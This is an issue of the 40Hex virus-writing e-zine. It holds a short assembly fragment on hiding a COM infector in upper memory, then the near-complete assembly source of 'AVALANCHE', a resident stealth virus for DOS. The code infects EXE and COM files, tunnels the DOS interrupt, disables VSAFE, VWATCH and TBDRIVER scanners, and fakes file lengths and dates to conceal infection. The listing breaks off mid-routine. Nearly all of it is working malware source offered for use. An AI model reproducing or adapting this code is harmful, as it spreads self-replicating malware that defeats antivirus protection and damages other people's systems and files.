The sample code below, written for a simple COM infector, illustrates the
technique.
start: xor di,di
mov ax,3306 ; get true DOS version
int 21
inc al ; DOS 4-?
jz no_UMBs ; if so, we don't have UMB's
mov ah,52 ; get DOS master list
int 21 ; structure
lds si,es:[bx+12] ; get ptr to disk buffer info
mov ax,ds:[si+1f] ; get address of the first UMB
inc ax ; (FFFF if no UMBs present)
jz no_UMBs
dec ax ; undo damage from above
search_chain: mov ds,ax ; go to the MCB
cmp word ptr [di+1],di ; unused?
jnz search_next
cmp word ptr [di+3],reslength_P ; MCB large enough to
ja handle_MCB ; hold us and our MCB?
search_next: cmp byte ptr [di],'Z' ; end of chain?
jz no_UMBs
mov bx,[di+3] ; go to the next MCB
inc ax ; 40Hex
add ax,bx
jmp search_chain
no_UMBs: mov ax,cs
dec ax ; get the MCB for current
mov ds,ax ; program
cmp word ptr [di+3],reslength_P + 1000 ; large enough for
jna fail_init ; program and virus and its
; MCB?
jmp short handle_MCB
db 0,'(DA/PS)',0
handle_MCB: sub word ptr [di+3],reslength_P + 1 ; adjust size of memory
; area for virus + its MCB
mov bx,[di+3] ; get size of new memory area
mov cl,'M' ; make sure this MCB doesn't
xchg cl,byte ptr [di] ; mark the end of the chain
inc ax
add ax,bx ; go to virus segment's MCB
mov ds,ax
mov es,ax
mov byte ptr [di],cl ; patch end of chain indicator
mov word ptr [di+1],8 ; mark MCB owned by DOS
mov word ptr [di+3],reslength_P ; patch in virus size
inc ax ; ds->virus segment
mov ds,ax
or di,8 ; go to program name field
mov ax,'CS' ; make virus invisible to MEM
stosw ; by pretending it is
xor ax,ax ; DOS system code
stosw
stosw
stosw
40Hex Number 14 Volume 5 Issue 1 File 013
;****************************************************************************
;* Resident stealth infector 'AVALANCHE' *
;* written by Metal Junkie in 1994/95 *
;****************************************************************************
; 100% memory stealth
; Int 21h Tunneling
; Retro functions
; EXE/COM - Infection
; and many other features. Enjoy it!
; Disclaimer: Warning! This source contains destructive code. Do not compile
; it! The author is not responsible for any damage caused by this code.
; And last but not least, greetings to Neurobasher,Stormbringer, the guys
; of VLAD (hi qark) and the Unforgiven Metal Militia.
code segment para 'code'
.8086
org 100h
assume cs:code, ds:code, es:code, ss:code ;
;======== Initializing routines and decryption =============================
; test options:
EXEPERMIS equ 1 ; infect EXE Files
COMPERMIS equ 1 ; infect COM files
STEALTH equ 1 ; include stealth functions
RETRO equ 1 ; anti scan
start: ; SS ist always equal CS !
.386
kenn:
mov ecx,(offset (virende-vircode+1)) ; Adios F-Prot !
kenn1: mov bx,(266+offset vircode)
jmp patch
db 0eah ; Adios TBAV !
entschl: xor byte ptr cs:[bx],0
inc bx
patch: loop entschl
.8086
; ------ Start of encrypted body ----
vircode: call getip ; Only to fool simple scanners looking
getip: pop ax ; for the classic pop bp
mov bp,ax
sub bp,(100h+(getip-start));
patch5: jmp short conti
db 81h
conti: jmp lab1
;--- Constants ---------------------------------------------------------
sprbef equ 3 ; 3 Bytes for a JUMP
monat equ 01h ; Date of activation
itsme equ "sh" ; Signature
DOS_N equ 21h ; normal DOS Function 21
db " AVALANCHE/Germany '94...Metal Junkie greets Neurobasher"
;--- EXE-Header-Lokationen ---
cs_pos equ 16h ; Position of Codesegment in EXE Header
ss_pos equ 0eh
ip_pos equ 14h ; IP
ovl_no equ 1Ah
hdl_pos equ 08h ; Size of Header
sp_pos equ 10h ; SP
min_par equ 0ah ; Min. amount of memory
div512 equ 04h ; Filelength DIV 512
mod512 equ 02h ; MOD 512
segtab equ 06h ;
chksum equ 12h ;
;--- Variables ----
cs_merk dw (0)
ds_merk dw (0) ; store the original regs here
es_merk dw (0)
sp_merk dw 0fffeh
ss_merk dw (0)
min_mem dw 4096
ip_merk dw 0100h ; pointer to first instruction of host
wirt dw (?) ; this is a far jump to the host
combytes db 0C3h,0h,01h ; buffer for host bytes (COM)
com_vek db 0e9h,0,0 ; jump vector (COM)
;---
org_filelng_lo dw (?) ; original length of host
org_filelng_hi dw (?)
mem_strat dw (?) ; buffer for allocation strategy
umb_strat db (?)
comflag db 1 ; 1=host is a COM-file
generation dw 0
;------- check activation circumstances ------------------------------------
lab1: cli
mov [bp+ds_merk],ds ; store original segments here
cld
push cs ; setup registers
pop ds
mov ax,4bf0h ; Are we resident in memory ?
xor di,di
int DOS_N
cmp di,itsme
jne lab32
jmp restore_com ; Yes, we are -> exit
lab32: mov ah,30h ; Dos-Version ?
int DOS_N
cmp al,5
jae lab4
jmp restore_com ; exit when < 5.0
lab4: mov ah,04h ; enable virus [Monat] 1994
int 1ah
jc lab5
cmp cx,1996h
jae lab5
cmp dh,monat
jae lab5
jmp restore_com
lab5: call killscan ; kill VSAFE/VWATCH
mov ah,0eh ; search or SDScan Novell Dos 7.0
mov dl,0adh
int DOS_N
cmp al,0bah
jne initvir
jmp restore_com ; Scanner active ==> Exit
;---------------------------------------------------------------------------
dowirt: mov ax,[bp+ds_merk]
mov ds,ax ; restore DS/ES
mov es,ax
cmp [bp+comflag],1 ; Is host a COM file ?
je do2
mov ax,es
add ax,[bp+cs_merk] ; old codesegment in vector
add ax,16
mov word ptr [bp+wirt],ax
mov sp,[bp+sp_merk] ; restore stack
mov ax,es
add ax,cs:[bp+ss_merk]
add ax,16
mov ss,ax
jmp short do3
do2: mov ax,cs
mov cs:[bp+wirt],ax
do3: xor ax,ax ; Important ! All Registers have to be ZERO
mov bx,ax
mov cx,ax
mov dx,ax
mov si,ax
mov di,ax
sti
jmp dword ptr cs:[bp+ip_merk] ; jump to host
;---- Allocate memory for virus --------------------------------------
initvir: mov ax,[bp+ds_merk] ; free memory
mov es,ax ; start segment to ES
mov bx,[bp+min_mem] ; amount needed for virus
mov ah,4ah ; change memory allocation
int DOS_N
jae init11
jmp restore_com
init11: push cs
pop es
mov byte ptr [bp+notarn],0 ; enable stealth functions
mov byte ptr [bp+virtod],0
;--- get free block in the TOM -----------------
mov ax,5800h ; get allocation strategy
int DOS_N
mov [bp+mem_strat],ax ; und store it
mov ax,5802h ; get UMB Status
int DOS_N ; DOS<5.0 C=1,AX=1
jae init1
jmp restore_com
init1: mov [bp+umb_strat],al ; store it
mov ax,5801h ; set new strategy
mov bx,0000000000000010b ; Last Block, search in TPA only
int DOS_N
mov ax,5803h ; disable usage of UMB
mov bx,0
int DOS_N
mov bx,(((virende-start+100) shr 4) +33) ; Virus in Paragr.
; + place to store Trojan
mov ah,48h ; allocate RAM for virus
int DOS_N
jc resetall
push ax ; store allocated segment
dec ax
mov es,ax ; ES to MCB of alloc. memory
inc ax
mov word ptr es:[0],"Z"
mov word ptr es:[1],8 ; make us resident as part of DOS
mov ax,3521h ; get old INT 21h
int DOS_N
mov word ptr [bp+int21alt],bx
mov word ptr [bp+int21alt+2],es
mov word ptr [bp+OrgDos],bx ; if tracer failed :(
mov word ptr [bp+OrgDos+2],es
call TunnelIt ; trace the INT 21h vector
cmp ax,0ffh ; have we found the vector ?
je notun
mov word ptr [bp+OrgDos+2],es ; store the new entry
mov word ptr [bp+OrgDos],ax
notun: mov ax,3513h ; get old BIOS interrupt 13h
int DOS_N
mov word ptr [bp+int13alt],bx
mov word ptr [bp+int13alt+2],es
pop es ; get back virus-segment
push es
mov si,offset start
add si,bp
mov di,100h
mov cx,offset (virende-start)
rep movsb ; Copy the virus to TOM
mov dx,offset int21 ; hook INT21h to virus handler
mov ax,2521h
pop ds ; get back virus segment
int DOS_N
mov dx,offset int13 ; hook BIOS-Interrupt to virus handler
mov ax,2513h
int DOS_N
resetall: push cs
pop ds
push [bp+ds_merk] ; restore memory allocation
pop es
mov bx,0ffffh
mov ah,4ah
int DOS_N
mov ah,4ah
int DOS_N
mov bl,[bp+umb_strat] ; restore old UMB strategy
xor bh,bh
mov ax,5803h
int DOS_N
mov bx,[bp+mem_strat] ; Alte Strategie zur<75>ck
mov ax,5801h
int DOS_N
; restore orinal JUMP to host
restore_com: cmp [bp+comflag],1 ; is it a COM file ?
jne initende
mov di,[bp+ip_merk] ; build up traget adress
mov si,offset combytes ; restore original bytes to host
add si,bp ; only necessary if .com - EXE has a direct
mov cx,sprbef ; vector.
rep movsb
initende: jmp dowirt
; --------- Kill VSAFE and VWATCH and TBDRIVER -------------------
; you can use this function from the resident part of virus too
killscan proc near
push es
push ax
push bx
push cx
push dx
push si
push di
mov ax,0fa00h ; Vsafe resident ?
mov dx,5945h
int 16h
cmp di,4559h
jne ks1
mov ax,0fa02h
mov dx,5945h
mov bl,0
int 16h ; get old flags to CL
and cl,23 ; disable only parts of scanner
mov bl,cl ; because the full deinstallation causes
mov ax,0fa02h ; warnings
mov dx,5945h
int 16h
ks1: push ds
xor ax,ax
mov ds,ax
les si,ds:[21h*4] ; get INT 21h handler
pop ds
mov ax,word ptr es:[si] ; get first two instructions of INT 21h
cmp ax,05ebh ; Is it that fucking TBDRIVER ?
jne ks2
mov word ptr es:[si],9090h ; Bomb it out of memory !!!
; This works because there is a far-jump to DOS directly behind
; the near jump to the scanner
ks2: pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
ret
killscan endp
;**************************************************************************
;*** INT 21h Tracer to locate the entry of DOS ***
;*** Setting up some parameters for the tracing routine ***
;**************************************************************************
; INPUT : none
; OUTPUT : Original-DOS-vektor in ES:AX
Tunnelit PROC NEAR
mov ah, 52h ; get the DIB adresse
int DOS_N
jc tuend
mov ax,es:[bx-2] ; vector to first MCB -> ES:AX
mov word ptr [bp+dos_seg],ax ; here is the DOS segment
xor ax,ax ; ES=0
mov es,ax
les ax, es:[1*4] ; store original INT 1
mov word ptr [bp+oldint1], ax
mov word ptr [bp+oldint1+2], es
mov cs:[bp+sflag],0
mov word ptr cs:[bp+deltaoff],bp ; set up delta offset
cli
xor ax,ax ; hook INT 1 to tracer
mov es,ax
mov bx,offset int1 ; delta Offset!
add bx,bp
mov word ptr es:[1*4],bx
mov es:[1*4+2],cs
sti
pushf ; enable single step
pop ax ; by setting the T-Flag
or ah,1
push ax
popf
mov ah,0bh ; get keyboardstatus to find
cli ; the entry
pushf
call dword ptr cs:[bp+int21alt]
pushf ; single step off
pop ax ; AX=FF if tracer failed
and ax,0feffh
push ax
popf
cli ; restore old Int 1
push ds
xor ax,ax
mov ds,ax
les ax, cs:[bp+oldint1]
mov word ptr ds:[1*4], ax
mov word ptr ds:[1*4+2], es
pop ds
sti
cmp [bp+sflag],1 ; was tracing successful ?
jne nosuccess
mov ax,word ptr [bp+oldint21+2]
mov es,ax
mov ax,word ptr [bp+oldint21]
tuend: ret
nosuccess: mov ax,0ffh ; nope, we have no entry :(
jmp short tuend
oldint1 dd ?
oldint21 dd ?
sflag db 0
dos_seg dw ?
Tunnelit ENDP
;**************************************************************************
;*** Single Step interrupt routine ***
;*** Tries to find the original entry of the DOS to fool reesident ***
;*** scanners ***
;**************************************************************************
int1 PROC FAR
push bp
mov bp,sp
push ax
push si
db 0BEh ; mov si, deltaoff
deltaoff dw (?)
mov ax, [bp+4] ; get segment of return adress
cmp ax,cs:[si+dos_seg] ; is it in the DOS segement ?
jbe foundit
ex_int1:pop si
pop ax
pop bp
iret
foundit: ; yes, we've found the entry
mov word ptr cs:[si+OldInt21+2],ax ; store segment (bp+4)
mov ax,[bp+2]
mov word ptr cs:[si+OldInt21],ax ; store offset
mov cs:[si+sflag],1
and word ptr [bp+6], 0FEFFh ; Tracing off
jmp short ex_int1
INT1 ENDP
;****************************************************************************
;**** Interrupt 21 Handler ****
;****************************************************************************
;--- Variables :
psp equ 0 ; ununsed PSP for buffer
; --- Interruptvektors ---
crbreak dd (?) ; Old Critical-Error-INT
int21alt dd (?) ; Old Dos-Interrupt
int13alt dd (?) ; Old BIOS-Interrupt
OrgDos dd (?) ; Original-DOS-Interrupt
; --- Variables ---
nam_off dw (?) ; filename offset
nam_seg dw (?) ; filename segment
dtaseg dw (?) ; segment of DTA
dtaoff dw (?) ; offset of DTA
d_datum dw (?) ; file date
d_zeit dw (?) ; time of last change
d_attrib dw (?) ; old files attributes
handle dw (?) ; file handle
ret_off dw (?)
; --- Flags ---
internal db 0 ; indicates internal usage of routines
flag db 0 ; allround flag
virtod db 0 ; 1=Virus is disabled
notarn db 0 ; 1=Stealth functions disabled
comsuff db "*.com",0
;----------------------------------------------------------------------------
cint proc far ; Critical-Error-INT
; to prevent virus from generating errors
sti ; during access on write proteted disks
mov al,3
iret
cint endp
;----------------------------------------------------------------------------
int21 PROC FAR ; new INT 21 handler
IF STEALTH
cmp ah,4bh ; Exec-Interrupt ?
jne check_stealth ; no, let's check stealth
ELSE
cmp ah,4bh
jne aus2
ENDIF
is_exec: cmp al,0f0h ; virus self check
je rescheck
cmp al,05h ; ignore special exec functions
je aus2
cmp al,03h
je aus2
mov cs:[internal],0 ; internal usage of INT 21 handler
jmp exec ; yeah, it's the exec function
rescheck: mov di,itsme ; its me -> return to caller
iret
aus2: jmp cs:[int21alt] ; jump to original INT 21h
;=== Handler for stealth functions of INT 21h ====================
IF STEALTH
check_stealth:
cmp cs:[virtod],1 ; Ist Virus disabled ?
je aus
cmp cs:[notarn],1 ; Is Stealth shield disabled ?
je aus
cmp ah,4eh ; Find-First (Handle) ?
jne chk_hdl
jmp ff_hdl
chk_hdl: cmp ah,4fh ; Find-Next (Handle) ?
jne chk_fcb
jmp ff_hdl
chk_fcb: cmp ah,11h ; Find-First (FCB) ?
je firstnext
cmp ah,12h ; Find-Next (FCB) ?
je firstnext
jmp short holdat ; no, continue check
; ---- date/time fooling ---------------------------------------
holdat: cmp ax,5700h ; is someone asking on date/time of afile?
jne schieb_zeiger
jmp deal_dat
schieb_zeiger: ; maybe a movement of file pointer?
cmp ah,42h
jne read_3f
jmp deal_zeiger
read_3f: ; a file read function ?
cmp ah,3fh
jne aus
jmp deal_read
aus: jmp cs:[int21alt] ; jump to old interrupt
ENDIF
int21 endp
;------------------------ Handler-Bodies --------------------------------------------------
IF STEALTH
ff_hdl proc near ; handle find-first-next (handle)
pushf ; call function first
call cs:[int21alt]
jc ngef ; any files found ?
jmp short findfn1
ngef: retf 2
findfn1: call pushall ; save all registers
mov ah,2fh ; get DTA adress to ES:BX
int DOS_N
mov ax,es:[bx+18h] ; get date of file
and ax,1111111000000000b ; mask out the month
mov cl,9
shr ax,cl
cmp ax,90d ; compare with 90
jna findfnende ; year < 90 -> file is clean
sub word ptr es:[bx+26],(virende-start) ; shrink filelength
sbb word ptr es:[bx+28],0
sub word ptr es:[bx+18h],1100100000000000b ; date=date-100 years
findfnende: call popall
retf 2
ff_hdl endp
;---------------------------------------------------------------------------
firstnext proc near ; handle the fcb functions
pushf ; call function
call cs:[int21alt]
call pushall
cmp al,255 ; any files found ?
jne continue
jmp short fcbende ; no, then exit
continue: mov ah,2fh ; get DTA adress to ES:BX
int DOS_N
cmp byte ptr es:[bx],255 ; is it a large FCB ?
je erwfcb
mov si,19h ; date entry (secret DOS)
mov di,1dh ; filelength (secret DOS)
jmp short normfcb
erwfcb: mov si,20h ; date entry (secret DOS)
mov di,24h ; filelength
normfcb: mov ax,es:[bx+si] ; get file and date stamps
and ax,1111111000000000b ; mask out the month
mov cl,9
shr ax,cl
cmp ax,90d ; compare with 90
jna fcbende ; year < 90 -> file is clean
sub word ptr es:[bx+di],(virende-start) ; change date/length
sbb word ptr es:[bx+di+2],0
sub word ptr es:[bx+di-7],(virende-start)
sbb word ptr es:[bx+di-7+2],0
sub word ptr es:[bx+si],1100100000000000b
fcbende: call popall
retf 2
firstnext endp
;----------------------------------------------------------------------------
deal_dat proc near
pushf
call cs:[int21alt]
pushf ; don't save DX, it holds the date
push ax
push cx
mov ax,dx
and ax,1111111000000000b ; mask out month
mov cl,9
shr ax,cl
cmp ax,90 ; compare with 90 years
jna deal_datende ; year<90 -> file is clean
sub dx,1100100000000000b ; subtract 100 years
deal_datende:
pop cx
pop ax
popf
retf 2
deal_dat endp
;---------------------------------------------------------------------------
; Don't let the file pointer hit the virus
deal_zeiger proc near
cmp al,02h ; handle funktion 2 only
jne zg_do_function
or cx,dx
jne zg_do_function
call pruefinf ; file infected ?
jae zg_do_function
mov cx,0ffffh
mov dx,-(virende-start) ; subtract virus size
pushf
call cs:[int21alt]
retf 2 ; and exit
zg_do_function:
jmp cs:[int21alt]
deal_zeiger endp
; ---------------------------------------------------------------------------
; funktion deal_read: Filters the virus on file access. The memory image is
; clean. Virus contains the original header bytes at his end.
rd_handle dw (?) ; file handle
rd_bytes dw (?) ; amount of bytes to read
rd_aktpos_lo dw (?) ; actual file pointer position
rd_aktpos_hi dw (?)
rd_endpos_lo dw (?)
rd_endpos_hi dw (?)
rd_virpos_lo dw (?)
rd_virpos_hi dw (?)
rd_es_merk dw (?)
rd_ds_merk dw (?)
rd_funktion dw (?)
rd_error_msg dw (?)
rd_puffer_off dw (?)
rd_bytes_read dw (?)
deal_read proc near
cmp bx,5 ; Ist es file handle or a device ?
jae dlrd1
jmp do_read2
dlrd1:
call pruefinf ; is file infected ?
jae do_read2
mov cs:[rd_ds_merk],ds
push cs
pop ds
mov [rd_funktion],ax
mov [rd_handle],bx
mov [rd_bytes],cx
mov [rd_puffer_off],dx
mov [rd_es_merk],es
jmp dlrd2
; restore all regs and do the read
do_read0: mov cx,cs:[rd_bytes] ; restore old CX
; restore all regs exept for cx and do the read
do_read1:
mov bx,cs:[rd_handle]
mov dx,cs:[rd_puffer_off]
mov ax,cs:[rd_es_merk]
mov es,ax
mov ax,cs:[rd_ds_merk]
mov ds,ax
mov ax,cs:[rd_funktion]
; don't restore regs and do the read
do_read2: jmp cs:[int21alt]
; return to caller with restored regs exept for ax
do_ret1:
mov cx,cs:[rd_bytes]
mov dx,cs:[rd_puffer_off]
mov bx,cs:[rd_es_merk]
mov es,bx
mov bx,cs:[rd_ds_merk]
mov ds,bx
mov bx,cs:[rd_handle]
;return to caller without restored regs
do_ret2:
retf 2
dlrd2: mov ax,4201h ; get file pointer position
xor cx,cx
xor dx,dx
pushf
call cs:[int21alt]
jc do_read0
mov [rd_aktpos_lo],ax ; store it
mov [rd_aktpos_hi],dx
add ax,[rd_bytes] ; calc endposition of file pointer
adc dx,0
mov [rd_endpos_lo],ax
mov [rd_endpos_hi],dx
mov ax,4202h ; get original filesize
xor cx,cx
xor dx,dx
pushf
call cs:[int21alt]
sub ax,(virende-start)
sbb dx,0
mov [rd_virpos_lo],ax ; store the original size
mov [rd_virpos_hi],dx
mov ax,4200h
mov cx,[rd_aktpos_hi]
mov dx,[rd_aktpos_lo]
pushf
call cs:[int21alt]
jae rdmk1
jmp do_read0
; Now we have to make a few decisions where the pointer is and what
; to do that he does not hit the virus body
rdmk1: mov ax,[rd_aktpos_lo] ; aktpos < 1dh
cmp ax,1dh
jb fall_1 ; pointer is in the header -> case 1
mov bx,[rd_aktpos_hi] ; aktpos < virpos ?
les cx,dword ptr [rd_virpos_lo]
mov dx,es ; DX:CX = aktpos
call comp_32bit
jb fall_2 ; pointer is in the host -> case 2
jmp fall_3 ; pointer is in the virus -> case 3
; more decisions........
fall_1: ;--- pointer is in the header ----
les ax,dword ptr [rd_endpos_lo]; Endpos in header(endpos<1dh) ?
mov bx,es ; BX:AX = Endpos
xor dx,dx
mov cx,1dh
call comp_32bit ; caller is going to....
jb fall_11 ; read header only
les cx,dword ptr [rd_virpos_lo]
mov dx,es ; DX:CX = Virpos
call comp_32bit
jb fall_12 ; read header-host
jmp fall_13 ; read header-host-virus
fall_2: ; -- pointer is in the host ----
les ax,dword ptr [rd_endpos_lo] ; Endpos < Virpos ?
mov bx,es ; BX:AX = end_pos
les cx,dword ptr [rd_virpos_lo]
mov dx,es
call comp_32bit
jb hilf1 ; end position is in the host
jmp fall_22 ; endposition is in the virus
hilf1: jmp fall_21
fall_3: ; --- pointer is in the virus ----
mov ax,0 ; return with zero bytes to caller
clc
jmp do_ret1
; --- actions according to th 6 cases above
fall_11: ; --- caller is trying to read to header -----
mov dx,1ch ; how many bytes to read ?
sub dx,[rd_aktpos_lo]
push dx
neg dx ; negative offset
mov cx,0ffffh
mov al,02h
call set_pos ; set pointer to corresponding byte
; at the end of the virus where the
; original bytes are stored
mov dx,[rd_puffer_off] ; read the original bytes from there
mov cx,[rd_bytes]
mov bx,[rd_handle]
mov ah,3fh
push [rd_ds_merk] ; set DS to readbuffer
pop ds
pushf
call cs:[int21alt]
push cs
pop ds
mov cx,[rd_endpos_hi]
mov dx,[rd_endpos_lo]
mov al,0
call set_pos ; correct the pointer position
jmp do_ret1
fall_12: ; --- caller is trying to read header+host ---
mov cx,[rd_bytes]
cross: mov bx,[rd_handle] ; call read function
mov dx,[rd_puffer_off]
push [rd_ds_merk]
pop ds
mov ah,3fh
pushf
call cs:[int21alt]
jae f121
jmp do_ret1
f121: push cs ; DS=CS
pop ds
mov [rd_bytes_read],ax ; store readed bytes
mov dx,1ch ; how many bytes from the header should
sub dx,[rd_aktpos_lo] ; have been read ?
push dx
neg dx ; negative offset
mov cx,0ffffh
mov al,02h
call set_pos ; set pointer to correcpondig bytes
jae fall_12h1 ; behind the virus
pop cx ; restore stack
jmp reset_point ; restore file point and exit
fall_12h1:
pop cx ; cx=ax (numer of bytes to read)
push [rd_ds_merk]
pop ax ; get buffer segment
mov dx,[rd_puffer_off] ; increase memory pointer
add dx,[rd_aktpos_lo]
adc ax,0 ; take care of the carry flag
mov ds,ax
mov bx,cs:[rd_handle]
mov ah,3fh
pushf
call cs:[int21alt] ; read original header
jae fall_12h2
jmp reset_point
fall_12h2:
push cs
pop ds
mov cx,[rd_aktpos_hi] ; set pointer to new position
mov dx,[rd_aktpos_lo]
add dx,[rd_bytes_read]
adc cx,0
xor al,al
call set_pos
mov ax,[rd_bytes_read]
jmp do_ret1
fall_13: ; --- caller is trying to read header+host+virus
mov ax,[rd_virpos_lo] ; subtract virus bytes
sub ax,[rd_aktpos_lo]
mov cx,ax
jmp cross ; restore original cx
fall_21: ; --- caller is trying to read the host
jmp do_read0 ; no action necessary
fall_22: ; --- caller is trying to read host+virus
mov cx,[rd_virpos_lo] ; subtract virus bytes
sub cx,[rd_aktpos_lo]
push cx
mov bx,[rd_handle] ; do the read function
mov dx,[rd_puffer_off]
mov ah,3fh
push [rd_ds_merk]
pop ds
pushf
call cs:[int21alt]
pop cx
jmp do_ret2
; Compare two 32bit numbers
; INPUT no 1: BX:AX
; no 2: DX:CX
; Ausgabe:
; no 1=no 2 : ZF=1
; no 1>no 2 : CF=0,ZF=0
; no 1<no 2 : CF=1
comp_32bit:
cmp bx,dx ; compare hi words
ja comp_16end ; no 1 > no 2
jb comp_16end ; no 1 < no 2
cmp ax,cx ; HI-Words eqaul -> compare low-words
ja comp_16end ; no 1 > no 2
jb comp_16end ; no 2 < no 2
; else no 1 = no 2
comp_16end:
ret
; restores the original file pointer position and leaves the routine
; with error 'read 0 bytes'
reset_point:
mov dx,cs:[rd_aktpos_lo]
mov cx,cs:[rd_aktpos_hi]
xor al,al
call set_pos
xor ax,ax
clc
jmp do_ret1
; Routine to change pointer position
; INPUT : al=offset-code
; cx:dx = new position
set_pos:
push ax
push bx
push dx
mov ah,42h
mov bx,cs:[rd_handle]
pushf
call cs:[int21alt]
pop dx
pop bx
pop ax
ret
deal_read endp
ENDIF
;===========================================================================
INT13 PROC FAR ; INT 13h Handler
orgint: jmp cs:[int13alt]
INT13 ENDP
; *************************************************************************
; *** new function 4ch of int 21 ***
; *************************************************************************
exec proc near ; handle an exec call
; DS:DX pointer to filename
call pushall
mov cs:[internal],0 ; indicates call by foreign program
mov cs:[notarn],0 ; stealth on
call killscan ; kill scanners
jmp short exe0
exec1: call pushall ; entry for internal usage
mov cs:[internal],1 ; DS:DX pointer to filename
exe0: mov cs:[nam_off],dx ; store filename offset
mov cs:[nam_seg],ds ; and segment
mov cs:[flag],0 ; reset infection flag
push ds
push dx
call discrit ; disable error handler
exe01: pop dx
pop ds
mov ax,4300h ; get file attributes
int DOS_N
jae exe1
jmp exeaus2 ; exit on error
exe1: mov cs:[d_attrib],cx ; store attributes
test cx,100b ; is it a system file ?
je exe2
jmp exeaus2 ; yes? do not infect it
exe2: mov ax,4301h ; disable read-only attributes
and cx,1111111111111110b
pushf
call cs:[int21alt]
jae exe3
jmp exeaus
exe3: call fuck_scanner ; fuck scanner
mov ax,3d00h ; open file with read-only
pushf
call cs:[int21alt] ; ds:dx filename
jae exe4 ; access denied -> exit
jmp exeaus
exe4: mov bx,ax ; store handle in bx
push cs ; DS=CS
pop ds
mov [handle],bx
push bx
mov ax,1220h ; get the sft table
int 2fh
mov al,es:[di] ; necessary because scanners locate
mov bl,al ; the TridenT Mirror virus in memory
mov ax,1216h
int 2fh
pop bx
jae exe41
jmp fehler
exe41: mov word ptr es:[di+2],2 ; set file to read/write access
call pruefinf ; is file infected ?
jae exe5
jmp fehler
exe5: mov dx,psp ; read the original header to psp
mov cx,1ch
mov ah,3fh
int DOS_N
jc fehler
mov si,dx ; copy original header behind virus
mov cx,1ch ; for later memory stealth
mov di,offset orig_exehead
push cs
pop es
rep movsb
mov ax,4202h ; get the filesize by setting the
xor cx,cx ; pointer to end of file
xor dx,dx
pushf
call cs:[int21alt]
jae exe6
jmp short fehler ; exit on error
exe6: mov [org_filelng_lo],ax ; store lo-word o file length
mov [org_filelng_hi],dx ; hi-word also
exe8: cmp word ptr cs:[psp],5a4dh ; is it an exe file or a .com ?
jne exe9
exe80: call infektexe ; infect .exe
jmp short fehler ; exit on error
exe9: cmp [org_filelng_lo],62000 ; .com > 62000 ? -> exit
ja fehler
call infektcom ; infect com file
;---------------------------------------------------------------
fehler: call reset_status ; reset file attributes
mov ah,3eh ; close file
pushf
call cs:[OrgDos]
exeaus: call reset_attrib
exeaus2: call encrit ; enable error handler
exeaus3: cmp cs:[internal],1 ; internal use ?
je rtocaller
call popall
jmp cs:[int21alt] ; execute program
rtocaller: mov cs:[internal],0
call popall
ret ; back to caller (virus)
exec ENDP
;---------------------------------------------------------------------------
reset_status PROC NEAR ; reset original file and date stamps
; [Flag]=1 == > increase date by 100 years
; file has to be openend
mov ax,5701h ; restore date/time
mov bx,[handle]
mov cx,[d_zeit]
mov dx,[d_datum]
cmp [flag],1 ; has infection took place ?
jne fe1
add dx,1100100000000000b ; add 100 years
fe1: pushf
call cs:[OrgDos]
ret
reset_status ENDP
;---------------------------------------------------------------------------
reset_attrib PROC NEAR ; restore original file attibutes
mov cx,[d_attrib]
mov ax,4301h
mov dx,[nam_off]
mov bx,[nam_seg] ; DS:DX pointer to filename
push bx
pop ds
pushf
call cs:[OrgDos]
ret
reset_attrib ENDP
;---------------------------------------------------------------------------
infektcom proc near ; infect com file
IF COMPERMIS
mov ax, word ptr cs:[psp+2] ; is it a device driver ?
cmp ah,0ffh
je infektende ; exit if so.
cmp al,0ffh
je infektende
;--- calc new entry ----------------------------
mov bx,[org_filelng_lo]
sub bx,3h
mov word ptr [com_vek+1],bx
;--- write new entry -------------------------
mov ax,4200h ; set file pointer to first byte
mov bx,cs:[handle]
xor dx,dx
xor cx,cx
pushf
call cs:[OrgDos]
jc infektende
mov ah,40h ; write new entry
mov cx,3 ; 3 bytes
mov dx,offset com_vek
pushf
call cs:[OrgDos]
jc infektende
mov ax,4202h ; set pointer to end of file
xor dx,dx
xor cx,cx
pushf
call cs:[OrgDos]
jc infektende
mov [ip_merk],100h ; store IP
mov [comflag],1 ; flag indicates COM file
mov ax,word ptr cs:[psp] ; store original bytes
mov word ptr [combytes],ax
mov al,byte ptr cs:[psp+2]
mov byte ptr [combytes+2],al
mov [min_mem],4096 ; minimum amount of memory for a com file
mov ax,[org_filelng_lo]
add ax,offset vircode
mov word ptr [kenn1+1],ax
call kodier
mov [flag],1 ; file was successfully infected
ENDIF
infektende: ret
infektcom endp
;----------------------------------------------------------------------------
infektexe proc near ; infect exe file (uff, very difficult)
IF EXEPERMIS
push cs
pop es
mov si,offset psp
kompr: cmp word ptr [si+segtab],1 ; is it a compressed or selfchecking
ja checkwin ; file ?
ret ; exit if so.
checkwin: cmp byte ptr [si+18h],40h ; is it a new exe header ?
jne checkovl ; forget it!
ret
checkovl: cmp byte ptr [si+ovl_no],0 ; no overlays please !
je checklng
ret
checklng: mov dx,[org_filelng_hi] ; check for internal overlays
mov ax,[org_filelng_lo]
call divide
inc ax ; add 512 bytes
cmp ax,[si+div512] ; compare only hi-byte
je go
ret
go: mov ax,word ptr [si+cs_pos] ; store CS
mov [cs_merk],ax
mov ax,word ptr [si+ss_pos] ; store SS
mov [ss_merk],ax
mov ax,word ptr [si+sp_pos] ; store SP
mov [sp_merk],ax
mov ax,word ptr [si+ip_pos] ; and IP
mov [ip_merk],ax
mov dx,[org_filelng_hi] ; filesize to DX:AX
mov ax,[org_filelng_lo] ; calc new CS and SS
mov bx,[si+hdl_pos] ; calc header size in bytes
mov cl,4
shl bx,cl
sub ax,bx ; subtract header size from filesize
sbb dx,0 ; -> DX:AX
mov bx,ax ; calc new IP
and bx,0000000000001111b ; Lo-nibble is offset of IP
mov [si+ip_pos],bx
mov cx,4 ; filesize -> pararaphs
divide0: sar dx,1
rcr ax,1
loop divide0 ; result in AX
mov [si+ss_pos],ax ; set new SS
mov [si+cs_pos],ax ; SS=CS
mov [min_mem],ax ; set up amount of memory for virus
mov word ptr [si+sp_pos],((virende-start)+100h) ; set SP
ramok: mov ax,[org_filelng_lo] ; fix filesize int header
mov dx,[org_filelng_hi]
add ax,(virende-start+512) ; add virus + 512
adc dx,0
call divide
mov word ptr [si+mod512],bx
mov word ptr [si+div512],ax
xor cx,cx ; set file pointer to header
mov dx,0
mov bx,[handle]
mov ax,4200h
int DOS_N
jc exeinfende
mov ah,40h ; write new values in header
mov cx,1ch
mov dx,offset psp
pushf
call cs:[int21alt]
jc exeinfende
mov ax,4202h ; file pointer to end of file
xor dx,dx
xor cx,cx
int DOS_N
